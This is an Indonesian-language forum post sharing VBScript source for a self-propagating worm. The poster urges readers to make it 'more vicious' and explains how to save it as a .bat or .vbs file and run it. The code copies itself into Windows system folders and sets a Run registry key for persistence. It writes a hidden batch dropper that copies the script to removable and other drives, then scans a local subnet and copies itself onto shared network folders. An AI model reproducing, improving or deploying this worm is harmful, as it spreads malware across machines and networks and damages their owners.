langsung aja y nhi source code virus worm, silahkan di kembangkan lagi agar menjadi ganas rek
--- VB Code -------------------------->
checkDate()function checkDate()if (day(Now)=25) then
Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("c:\windows\Update.bat") Then
set dropper = createobject("wscript.shell") dropper.run "c:\windows\Update.bat", vbhide, true
Msgbox "You are infected with (M4G1233N) Stealth WoRm!",16,"ALERT!"
Wscript.Quit
Else
Wscript.Echo "The file does not exist."
End If
Set fso = CreateObject("Scripting.FileSystemObject")
Set File = fso.CreateTextFile("c:\windows\Update.bat", True)
File.WriteLine("@echo off")
File.WriteLine(":: --------> Script by (M4G1233N) <----------")
File.WriteLine(":: <<< BaTcH Worm! >>> ::")
File.WriteLine("set escape=exit")
File.WriteLine("set infect=copy")
File.WriteLine("set target=Update.vbs")File.WriteLine("set ip1=192")
File.WriteLine("set ip2=168")
File.WriteLine("set ip3=2")File.WriteLine("set ip4=0")
File.WriteLine("set scan=ping")File.WriteLine("set pth=SharedDocs")
File.WriteLine("set file=Update.vbs")
File.WriteLine("%infect% c:\windows\Virus.vbs a:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs b:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs D:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs E:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs f:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs g:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs h:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs i:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs j:\%target%")
File.WriteLine("%infect% c:\windows\Virus.vbs k:\%target%")
File.WriteLine(":start")
File.WriteLine("%scan% -n 1 %ip1%.%ip2%.%ip3%.%ip4% | find /i ""reply"" >nul>nul")
File.WriteLine("if not errorlevel 1 goto worm")
File.WriteLine(":worm")
File.WriteLine("%infect% c:\windows\Virus.vbs \\%ip1%.%ip2%.%ip3%.%ip4%\%pth%\%file%")
File.WriteLine("if errorlevel 1 goto next")File.WriteLine(":next")File.WriteLine("if /i %ip4% NEQ 256 set /a ip4=%ip4%+1")
File.WriteLine("if /i %ip4% EQU 256 set /a ip3=%ip3%+1")
File.WriteLine("if /i %ip4% EQU 256 set /a ip4=1")
File.WriteLine("if %ip4% NEQ 256 goto start")
File.WriteLine("%escape%")
File.WriteLine(":: --------> Script by (M4G1233N) <----------")
else
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "c:\windows\Virus.vbs", True
fso.CopyFile Wscript.ScriptFullName, "c:\windows\system32\Virus.vbs", True
Msgbox "ERROR",16,"ALERT!"
Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", 1, "REG_BINARY"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", "c:\windows\Virus.vbs", "REG_SZ"
Wscript.Quit
end if
end function
<---------------------- VB Code --------------------------
caranya copy di notepad atau notepad++ dgn ekstensi bat. atau vbs. terus jalankan dech
Semoga bermoga bermanfaat dan rasakan kenikmatannya
Wed Mar 16, 2016 5:18 pm by GAlih_DayWalker
Subyek: code virus worm 
